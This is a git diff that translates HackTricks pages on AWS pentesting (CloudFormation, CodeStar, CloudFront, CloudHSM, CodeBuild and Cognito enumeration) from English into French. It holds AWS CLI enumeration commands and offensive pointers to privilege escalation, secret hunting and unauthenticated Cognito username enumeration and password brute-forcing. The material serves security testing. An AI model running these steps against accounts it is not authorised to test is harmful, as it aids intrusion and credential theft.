-AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure.
+AWS CloudFormation est un service conçu pour **simplifier la gestion des ressources AWS**. Il permet aux utilisateurs de se concentrer davantage sur leurs applications fonctionnant dans AWS en **minimisant le temps consacré à la gestion des ressources**. La fonctionnalité principale de ce service est le **modèle**—un modèle descriptif des ressources AWS souhaitées. Une fois ce modèle fourni, CloudFormation est responsable de **l'approvisionnement et de la configuration** des ressources spécifiées. Cette automatisation facilite une gestion plus efficace et sans erreur de l'infrastructure AWS.
 
 ### Enumeration
-
 ```bash
 # Stacks
 aws cloudformation list-stacks
@@ -30,10 +29,9 @@ aws cloudformation list-stack-instances --stack-set-name <name>
 aws cloudformation list-stack-set-operations --stack-set-name <name>
 aws cloudformation list-stack-set-operation-results --stack-set-name <name> --operation-id <id>
 ```
-
 ### Privesc
 
-In the following page you can check how to **abuse cloudformation permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions cloudformation pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-cloudformation-privesc/
@@ -41,14 +39,13 @@ In the following page you can check how to **abuse cloudformation permissions to
 
 ### Post-Exploitation
 
-Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation
+Vérifiez les **secrets** ou les informations sensibles dans le **template, les paramètres et la sortie** de chaque CloudFormation
 
 ## Codestar
 
-AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members).
+AWS CodeStar est un service pour créer, gérer et travailler sur des projets de développement logiciel sur AWS. Vous pouvez rapidement développer, construire et déployer des applications sur AWS avec un projet AWS CodeStar. Un projet AWS CodeStar crée et **intègre des services AWS** pour votre chaîne d'outils de développement de projet. Selon votre choix de modèle de projet AWS CodeStar, cette chaîne d'outils peut inclure le contrôle de version, la construction, le déploiement, des serveurs virtuels ou des ressources sans serveur, et plus encore. AWS CodeStar **gère également les permissions requises pour les utilisateurs du projet** (appelés membres de l'équipe).
 
 ### Enumeration
-
 ```bash
 # Get projects information
 aws codestar list-projects
@@ -56,24 +53,19 @@ aws codestar describe-project --id <project_id>
 aws codestar list-resources --project-id <project_id>
 aws codestar list-team-members --project-id <project_id>
 
- aws codestar list-user-profiles
- aws codestar describe-user-profile --user-arn <arn>
+aws codestar list-user-profiles
+aws codestar describe-user-profile --user-arn <arn>
 ```
-
 ### Privesc
 
-In the following page you can check how to **abuse codestar permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions codestar pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-codestar-privesc/
 {{#endref}}
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
index 75613cdb4..059ed561e 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md
@@ -4,20 +4,19 @@
 
 ## CloudFront
 
-CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3.
+CloudFront est le **réseau de distribution de contenu d'AWS qui accélère la distribution** de votre contenu statique et dynamique à travers son réseau mondial de points de présence. Lorsque vous utilisez un contenu de demande que vous hébergez via Amazon CloudFront, la demande est acheminée vers le point de présence le plus proche, ce qui lui fournit la latence la plus basse pour offrir les meilleures performances. Lorsque **les journaux d'accès CloudFront** sont activés, vous pouvez enregistrer la demande de chaque utilisateur demandant l'accès à votre site Web et à votre distribution. Comme pour les journaux d'accès S3, ces journaux sont également **stockés sur Amazon S3 pour un stockage durable et persistant**. Il n'y a pas de frais pour activer la journalisation elle-même, cependant, comme les journaux sont stockés dans S3, vous serez facturé pour le stockage utilisé par S3.
 
-The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**.
+Les fichiers journaux capturent des données sur une période de temps et en fonction du nombre de demandes reçues par Amazon CloudFront pour cette distribution, cela dépendra du nombre de fichiers journaux générés. Il est important de savoir que ces fichiers journaux ne sont pas créés ou écrits sur S3. S3 est simplement l'endroit où ils sont livrés une fois que le fichier journal est plein. **Amazon CloudFront conserve ces journaux jusqu'à ce qu'ils soient prêts à être livrés à S3**. Encore une fois, en fonction de la taille de ces fichiers journaux, cette livraison peut prendre **entre une et 24 heures**.
 
-**By default cookie logging is disabled** but you can enable it.
+**Par défaut, la journalisation des cookies est désactivée** mais vous pouvez l'activer.
 
 ### Functions
 
-You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS).
+Vous pouvez créer des fonctions dans CloudFront. Ces fonctions auront leur **point de terminaison dans cloudfront** défini et exécuteront un **code NodeJS** déclaré. Ce code s'exécutera dans un **bac à sable** sur une machine fonctionnant sous une machine gérée par AWS (vous auriez besoin d'un contournement de bac à sable pour réussir à échapper au système d'exploitation sous-jacent).
 
-As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature.
+Comme les fonctions ne sont pas exécutées dans le compte AWS des utilisateurs, aucun rôle IAM n'est attaché, donc aucune élévation de privilèges directe n'est possible en abusant de cette fonctionnalité.
 
 ### Enumeration
-
 ```bash
 aws cloudfront list-distributions
 aws cloudfront get-distribution --id <id> # Just get 1
@@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js
 
 aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME"
 ```
-
-## Unauthenticated Access
+## Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
 {{#endref}}
 
-## Post Exploitation
+## Post exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-cloudfront-post-exploitation.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
index 55216fa7e..4ad69e4af 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md
@@ -2,70 +2,64 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## HSM - Hardware Security Module
+## HSM - Module de Sécurité Matériel
 
-Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used.
+Cloud HSM est un **dispositif matériel** validé FIPS 140 niveau deux pour le stockage sécurisé des clés cryptographiques (notez que CloudHSM est un appareil matériel, ce n'est pas un service virtualisé). C'est un appareil SafeNetLuna 7000 avec 5.3.13 préchargé. Il existe deux versions de firmware et le choix dépend vraiment de vos besoins exacts. L'une est pour la conformité FIPS 140-2 et il y avait une version plus récente qui peut être utilisée.
 
-The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads
+La caractéristique inhabituelle de CloudHSM est qu'il s'agit d'un dispositif physique, et donc il **n'est pas partagé avec d'autres clients**, ou comme on l'appelle couramment, multi-locataire. C'est un appareil dédié à un seul locataire exclusivement mis à disposition pour vos charges de travail.
 
-Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be.
+Typiquement, un dispositif est disponible dans les 15 minutes, à condition qu'il y ait de la capacité, mais dans certaines zones, cela pourrait ne pas être le cas.
 
-Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS.
+Puisqu'il s'agit d'un dispositif physique dédié à vous, **les clés sont stockées sur le dispositif**. Les clés doivent soit être **répliquées sur un autre dispositif**, sauvegardées sur un stockage hors ligne, ou exportées vers un appareil de secours. **Ce dispositif n'est pas soutenu** par S3 ou tout autre service chez AWS comme KMS.
 
-In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\
-Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution.
+Dans **CloudHSM**, vous devez **scaler le service vous-même**. Vous devez provisionner suffisamment de dispositifs CloudHSM pour gérer vos besoins en cryptage en fonction des algorithmes de cryptage que vous avez choisis d'implémenter pour votre solution.\
+Le service de gestion des clés est scalé par AWS et s'ajuste automatiquement à la demande, donc à mesure que votre utilisation augmente, le nombre d'appareils CloudHSM requis peut également augmenter. Gardez cela à l'esprit lorsque vous scalez votre solution et si votre solution a un auto-scaling, assurez-vous que votre échelle maximale est prise en compte avec suffisamment d'appareils CloudHSM pour servir la solution.
 
-Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster.
+Tout comme le scaling, **la performance dépend de vous avec CloudHSM**. La performance varie en fonction de l'algorithme de cryptage utilisé et de la fréquence à laquelle vous devez accéder ou récupérer les clés pour chiffrer les données. La performance du service de gestion des clés est gérée par Amazon et s'ajuste automatiquement en fonction de la demande. La performance de CloudHSM est obtenue en ajoutant plus d'appareils et si vous avez besoin de plus de performance, vous ajoutez des dispositifs ou modifiez la méthode de cryptage vers l'algorithme qui est plus rapide.
 
-If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys.
+Si votre solution est **multi-région**, vous devriez ajouter plusieurs **appareils CloudHSM dans la deuxième région et établir la connectivité inter-régionale avec une connexion VPN privée** ou une méthode pour garantir que le trafic est toujours protégé entre l'appareil à chaque couche de la connexion. Si vous avez une solution multi-région, vous devez réfléchir à la manière de **répliquer les clés et de configurer des dispositifs CloudHSM supplémentaires dans les régions où vous opérez**. Vous pouvez rapidement vous retrouver dans un scénario où vous avez six ou huit dispositifs répartis sur plusieurs régions, permettant une redondance complète de vos clés de cryptage.
 
-**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution.
+**CloudHSM** est un service de classe entreprise pour le stockage sécurisé des clés et peut être utilisé comme un **racine de confiance pour une entreprise**. Il peut stocker des clés privées dans PKI et des clés d'autorité de certification dans des implémentations X509. En plus des clés symétriques utilisées dans des algorithmes symétriques tels que AES, **KMS stocke et protège physiquement uniquement les clés symétriques (ne peut pas agir en tant qu'autorité de certification)**, donc si vous devez stocker des clés PKI et CA, un ou deux ou trois CloudHSM pourraient être votre solution.
 
-**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\
-Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance.
+**CloudHSM est considérablement plus coûteux que le service de gestion des clés**. CloudHSM est un appareil matériel, donc vous avez des coûts fixes pour provisionner le dispositif CloudHSM, puis un coût horaire pour faire fonctionner l'appareil. Le coût est multiplié par le nombre d'appareils CloudHSM nécessaires pour atteindre vos exigences spécifiques.\
+De plus, une considération croisée doit être faite lors de l'achat de logiciels tiers tels que les suites logicielles SafeNet ProtectV et le temps et l'effort d'intégration. Le service de gestion des clés est basé sur l'utilisation et dépend du nombre de clés que vous avez et des opérations d'entrée et de sortie. Comme la gestion des clés fournit une intégration transparente avec de nombreux services AWS, les coûts d'intégration devraient être considérablement inférieurs. Les coûts doivent être considérés comme un facteur secondaire dans les solutions de cryptage. Le cryptage est généralement utilisé pour la sécurité et la conformité.
 
-**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you.
+**Avec CloudHSM, vous seul avez accès aux clés** et sans entrer dans trop de détails, avec CloudHSM, vous gérez vos propres clés. **Avec KMS, vous et Amazon co-gestionez vos clés**. AWS a de nombreuses protections politiques contre les abus et **ne peut toujours pas accéder à vos clés dans l'une ou l'autre solution**. La principale distinction est la conformité en ce qui concerne la propriété et la gestion des clés, et avec CloudHSM, c'est un appareil matériel que vous gérez et maintenez avec un accès exclusif à vous et seulement à vous.
 
-### CloudHSM Suggestions
+### Suggestions CloudHSM
 
-1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS.
-2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data.
-3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear.
-4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed.
-5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool.
-6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance.
-7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source.
+1. Déployez toujours CloudHSM dans une **configuration HA** avec au moins deux appareils dans **des zones de disponibilité séparées**, et si possible, déployez un troisième soit sur site soit dans une autre région chez AWS.
+2. Faites attention lors de **l'initialisation** d'un **CloudHSM**. Cette action **détruira les clés**, donc soit ayez une autre copie des clés, soit soyez absolument sûr que vous n'en avez pas besoin et que vous n'en aurez jamais besoin pour déchiffrer des données.
+3. CloudHSM ne **supporte que certaines versions de firmware** et de logiciels. Avant d'effectuer une mise à jour, assurez-vous que le firmware et/ou le logiciel est supporté par AWS. Vous pouvez toujours contacter le support AWS pour vérifier si le guide de mise à niveau n'est pas clair.
+4. La **configuration réseau ne doit jamais être changée.** Rappelez-vous, c'est dans un centre de données AWS et AWS surveille le matériel de base pour vous. Cela signifie que si le matériel échoue, ils le remplaceront pour vous, mais seulement s'ils savent qu'il a échoué.
+5. Le **SysLog forward ne doit pas être supprimé ou modifié**. Vous pouvez toujours **ajouter** un forwarder SysLog pour diriger les journaux vers votre propre outil de collecte.
+6. La configuration **SNMP** a les mêmes restrictions de base que le réseau et le dossier SysLog. Cela **ne doit pas être changé ou supprimé**. Une configuration SNMP **supplémentaire** est acceptable, assurez-vous simplement de ne pas changer celle qui est déjà sur l'appareil.
+7. Une autre bonne pratique intéressante d'AWS est **de ne pas changer la configuration NTP**. Il n'est pas clair ce qui se passerait si vous le faisiez, donc gardez à l'esprit que si vous n'utilisez pas la même configuration NTP pour le reste de votre solution, vous pourriez avoir deux sources de temps. Soyez simplement conscient de cela et sachez que le CloudHSM doit rester avec la source NTP existante.
 
-The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month.
+Le coût initial de lancement pour CloudHSM est de 5 000 $ pour allouer l'appareil matériel dédié à votre usage, puis il y a un coût horaire associé à l'exécution de CloudHSM qui est actuellement de 1,88 $ par heure d'opération, ou environ 1 373 $ par mois.
 
-The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**.
+La raison la plus courante d'utiliser CloudHSM est les normes de conformité que vous devez respecter pour des raisons réglementaires. **KMS n'offre pas de support de données pour les clés asymétriques. CloudHSM vous permet de stocker des clés asymétriques en toute sécurité**.
 
-The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH.
+La **clé publique est installée sur l'appareil HSM lors du provisionnement** afin que vous puissiez accéder à l'instance CloudHSM via SSH.
 
-### What is a Hardware Security Module
+### Qu'est-ce qu'un Module de Sécurité Matériel
 
-A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system.
+Un module de sécurité matériel (HSM) est un dispositif cryptographique dédié qui est utilisé pour générer, stocker et gérer des clés cryptographiques et protéger des données sensibles. Il est conçu pour fournir un niveau élevé de sécurité en isolant physiquement et électroniquement les fonctions cryptographiques du reste du système.
 
-The way an HSM works can vary depending on the specific model and manufacturer, but generally, the following steps occur:
+Le fonctionnement d'un HSM peut varier en fonction du modèle et du fabricant spécifiques, mais généralement, les étapes suivantes se produisent :
 
-1. **Key generation**: The HSM generates a random cryptographic key using a secure random number generator.
-2. **Key storage**: The key is **stored securely within the HSM, where it can only be accessed by authorized users or processes**.
-3. **Key management**: The HSM provides a range of key management functions, including key rotation, backup, and revocation.
-4. **Cryptographic operations**: The HSM performs a range of cryptographic operations, including encryption, decryption, digital signature, and key exchange. These operations are **performed within the secure environment of the HSM**, which protects against unauthorized access and tampering.
-5. **Audit logging**: The HSM logs all cryptographic operations and access attempts, which can be used for compliance and security auditing purposes.
+1. **Génération de clés** : Le HSM génère une clé cryptographique aléatoire à l'aide d'un générateur de nombres aléatoires sécurisé.
+2. **Stockage de clés** : La clé est **stockée en toute sécurité dans le HSM, où elle ne peut être accessible que par des utilisateurs ou des processus autorisés**.
+3. **Gestion des clés** : Le HSM fournit une gamme de fonctions de gestion des clés, y compris la rotation des clés, la sauvegarde et la révocation.
+4. **Opérations cryptographiques** : Le HSM effectue une gamme d'opérations cryptographiques, y compris le chiffrement, le déchiffrement, la signature numérique et l'échange de clés. Ces opérations sont **effectuées dans l'environnement sécurisé du HSM**, ce qui protège contre l'accès non autorisé et la falsification.
+5. **Journalisation des audits** : Le HSM enregistre toutes les opérations cryptographiques et les tentatives d'accès, qui peuvent être utilisées à des fins de conformité et d'audit de sécurité.
 
-HSMs can be used for a wide range of applications, including secure online transactions, digital certificates, secure communications, and data encryption. They are often used in industries that require a high level of security, such as finance, healthcare, and government.
+Les HSM peuvent être utilisés pour une large gamme d'applications, y compris les transactions en ligne sécurisées, les certificats numériques, les communications sécurisées et le chiffrement des données. Ils sont souvent utilisés dans des secteurs qui nécessitent un niveau élevé de sécurité, tels que la finance, la santé et le gouvernement.
 
-Overall, the high level of security provided by HSMs makes it **very difficult to extract raw keys from them, and attempting to do so is often considered a breach of security**. However, there may be **certain scenarios** where a **raw key could be extracted** by authorized personnel for specific purposes, such as in the case of a key recovery procedure.
-
-### Enumeration
+Dans l'ensemble, le niveau élevé de sécurité fourni par les HSM rend **très difficile l'extraction de clés brutes, et tenter de le faire est souvent considéré comme une violation de la sécurité**. Cependant, il peut y avoir **certaines situations** où une **clé brute pourrait être extraite** par du personnel autorisé à des fins spécifiques, comme dans le cas d'une procédure de récupération de clés.
 
+### Énumération
 ```
 TODO
 ```
-
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
index bd54cd791..dcd4354f5 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md
@@ -4,30 +4,29 @@
 
 ## CodeBuild
 
-AWS **CodeBuild** is recognized as a **fully managed continuous integration service**. The primary purpose of this service is to automate the sequence of compiling source code, executing tests, and packaging the software for deployment purposes. The predominant benefit offered by CodeBuild lies in its ability to alleviate the need for users to provision, manage, and scale their build servers. This convenience is because the service itself manages these tasks. Essential features of AWS CodeBuild encompass:
+AWS **CodeBuild** est reconnu comme un **service d'intégration continue entièrement géré**. Le principal objectif de ce service est d'automatiser la séquence de compilation du code source, d'exécution des tests et d'emballage du logiciel à des fins de déploiement. Le principal avantage offert par CodeBuild réside dans sa capacité à soulager les utilisateurs de la nécessité de provisionner, gérer et mettre à l'échelle leurs serveurs de construction. Cette commodité est due au fait que le service gère lui-même ces tâches. Les fonctionnalités essentielles d'AWS CodeBuild comprennent :
 
-1. **Managed Service**: CodeBuild manages and scales the build servers, freeing users from server maintenance.
-2. **Continuous Integration**: It integrates with the development and deployment workflow, automating the build and test phases of the software release process.
-3. **Package Production**: After the build and test phases, it prepares the software packages, making them ready for deployment.
+1. **Service géré** : CodeBuild gère et met à l'échelle les serveurs de construction, libérant les utilisateurs de la maintenance des serveurs.
+2. **Intégration continue** : Il s'intègre au flux de travail de développement et de déploiement, automatisant les phases de construction et de test du processus de publication du logiciel.
+3. **Production de paquets** : Après les phases de construction et de test, il prépare les paquets logiciels, les rendant prêts pour le déploiement.
 
-AWS CodeBuild seamlessly integrates with other AWS services, enhancing the CI/CD (Continuous Integration/Continuous Deployment) pipeline's efficiency and reliability.
+AWS CodeBuild s'intègre parfaitement avec d'autres services AWS, améliorant l'efficacité et la fiabilité du pipeline CI/CD (Intégration Continue/Déploiement Continu).
 
-### **Github/Gitlab/Bitbucket Credentials**
+### **Identifiants Github/Gitlab/Bitbucket**
 
-#### **Default source credentials**
+#### **Identifiants source par défaut**
 
-This is the legacy option where it's possible to configure some **access** (like a Github token or app) that will be **shared across codebuild projects** so all the projects can use this configured set of credentials.
+C'est l'option héritée où il est possible de configurer certains **accès** (comme un token Github ou une application) qui seront **partagés entre les projets codebuild** afin que tous les projets puissent utiliser cet ensemble d'identifiants configurés.
 
-The stored credentials (tokens, passwords...) are **managed by codebuild** and there isn't any public way to retrieve them from AWS APIs.
+Les identifiants stockés (tokens, mots de passe...) sont **gérés par codebuild** et il n'existe aucun moyen public de les récupérer via les API AWS.
 
-#### Custom source credential
+#### Identifiant source personnalisé
 
-Depending on the repository platform (Github, Gitlab and Bitbucket) different options are provided. But in general, any option that requires to **store a token or a password will store it as a secret in the secrets manager**.
+Selon la plateforme de dépôt (Github, Gitlab et Bitbucket), différentes options sont fournies. Mais en général, toute option nécessitant de **stocker un token ou un mot de passe le stockera comme un secret dans le gestionnaire de secrets**.
 
-This allows **different codebuild projects to use different configured accesses** to the providers instead of just using the configured default one.
+Cela permet à **différents projets codebuild d'utiliser différents accès configurés** aux fournisseurs au lieu de simplement utiliser celui par défaut configuré.
 
 ### Enumeration
-
 ```bash
 # List external repo creds (such as github tokens)
 ## It doesn't return the token but just the ARN where it's located
@@ -48,10 +47,9 @@ aws codebuild list-build-batches-for-project --project-name <p_name>
 aws codebuild list-reports
 aws codebuild describe-test-cases --report-arn <ARN>
 ```
-
 ### Privesc
 
-In the following page, you can check how to **abuse codebuild permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions de codebuild pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-codebuild-privesc.md
@@ -63,18 +61,14 @@ In the following page, you can check how to **abuse codebuild permissions to esc
 ../aws-post-exploitation/aws-codebuild-post-exploitation/
 {{#endref}}
 
-### Unauthenticated Access
+### Accès Non Authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html](https://docs.aws.amazon.com/managedservices/latest/userguide/code-build.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
index c870c1791..a27729c92 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md
@@ -4,16 +4,16 @@
 
 ## Cognito
 
-Amazon Cognito is utilized for **authentication, authorization, and user management** in web and mobile applications. It allows users the flexibility to sign in either directly using a **user name and password** or indirectly through a **third party**, including Facebook, Amazon, Google, or Apple.
+Amazon Cognito est utilisé pour **l'authentification, l'autorisation et la gestion des utilisateurs** dans les applications web et mobiles. Il permet aux utilisateurs de se connecter soit directement en utilisant un **nom d'utilisateur et un mot de passe**, soit indirectement via un **tiers**, y compris Facebook, Amazon, Google ou Apple.
 
-Central to Amazon Cognito are two primary components:
+Au cœur d'Amazon Cognito se trouvent deux composants principaux :
 
-1. **User Pools**: These are directories designed for your app users, offering **sign-up and sign-in functionalities**.
-2. **Identity Pools**: These pools are instrumental in **authorizing users to access different AWS services**. They are not directly involved in the sign-in or sign-up process but are crucial for resource access post-authentication.
+1. **User Pools** : Ce sont des répertoires conçus pour les utilisateurs de votre application, offrant des **fonctionnalités d'inscription et de connexion**.
+2. **Identity Pools** : Ces pools sont essentiels pour **autoriser les utilisateurs à accéder à différents services AWS**. Ils ne sont pas directement impliqués dans le processus de connexion ou d'inscription, mais sont cruciaux pour l'accès aux ressources après l'authentification.
 
 ### **User pools**
 
-To learn what is a **Cognito User Pool check**:
+Pour apprendre ce qu'est un **Cognito User Pool check** :
 
 {{#ref}}
 cognito-user-pools.md
@@ -21,14 +21,13 @@ cognito-user-pools.md
 
 ### **Identity pools**
 
-The learn what is a **Cognito Identity Pool check**:
+Pour apprendre ce qu'est un **Cognito Identity Pool check** :
 
 {{#ref}}
 cognito-identity-pools.md
 {{#endref}}
 
 ## Enumeration
-
 ```bash
 # List Identity Pools
 aws cognito-identity list-identity-pools --max-results 60
@@ -72,14 +71,13 @@ aws cognito-idp get-user-pool-mfa-config --user-pool-id <user-pool-id>
 ## Get risk configuration
 aws cognito-idp describe-risk-configuration --user-pool-id <user-pool-id>
 ```
+### Identity Pools - Énumération non authentifiée
 
-### Identity Pools - Unauthenticated Enumeration
+Juste **en connaissant l'ID du pool d'identité**, vous pourriez être en mesure de **récupérer les identifiants du rôle associé aux utilisateurs non authentifiés** (le cas échéant). [**Vérifiez comment ici**](cognito-identity-pools.md#accessing-iam-roles).
 
-Just **knowing the Identity Pool ID** you might be able **get credentials of the role associated to unauthenticated** users (if any). [**Check how here**](cognito-identity-pools.md#accessing-iam-roles).
+### User Pools - Énumération non authentifiée
 
-### User Pools - Unauthenticated Enumeration
-
-Even if you **don't know a valid username** inside Cognito, you might be able to **enumerate** valid **usernames**, **BF** the **passwords** of even **register a new user** just **knowing the App client ID** (which is usually found in source code). [**Check how here**](cognito-user-pools.md#registration)**.**
+Même si vous **ne connaissez pas un nom d'utilisateur valide** dans Cognito, vous pourriez être en mesure d'**énumérer** des **noms d'utilisateur** valides, **BF** les **mots de passe** ou même **enregistrer un nouvel utilisateur** juste **en connaissant l'ID du client de l'application** (qui se trouve généralement dans le code source). [**Vérifiez comment ici**](cognito-user-pools.md#registration)**.**
 
 ## Privesc
 
@@ -87,20 +85,16 @@ Even if you **don't know a valid username** inside Cognito, you might be able to
 ../../aws-privilege-escalation/aws-cognito-privesc.md
 {{#endref}}
 
-## Unauthenticated Access
+## Accès non authentifié
 
 {{#ref}}
 ../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
 {{#endref}}
 
-## Persistence
+## Persistance
 
 {{#ref}}
 ../../aws-persistence/aws-cognito-persistence.md
 {{#endref}}
 
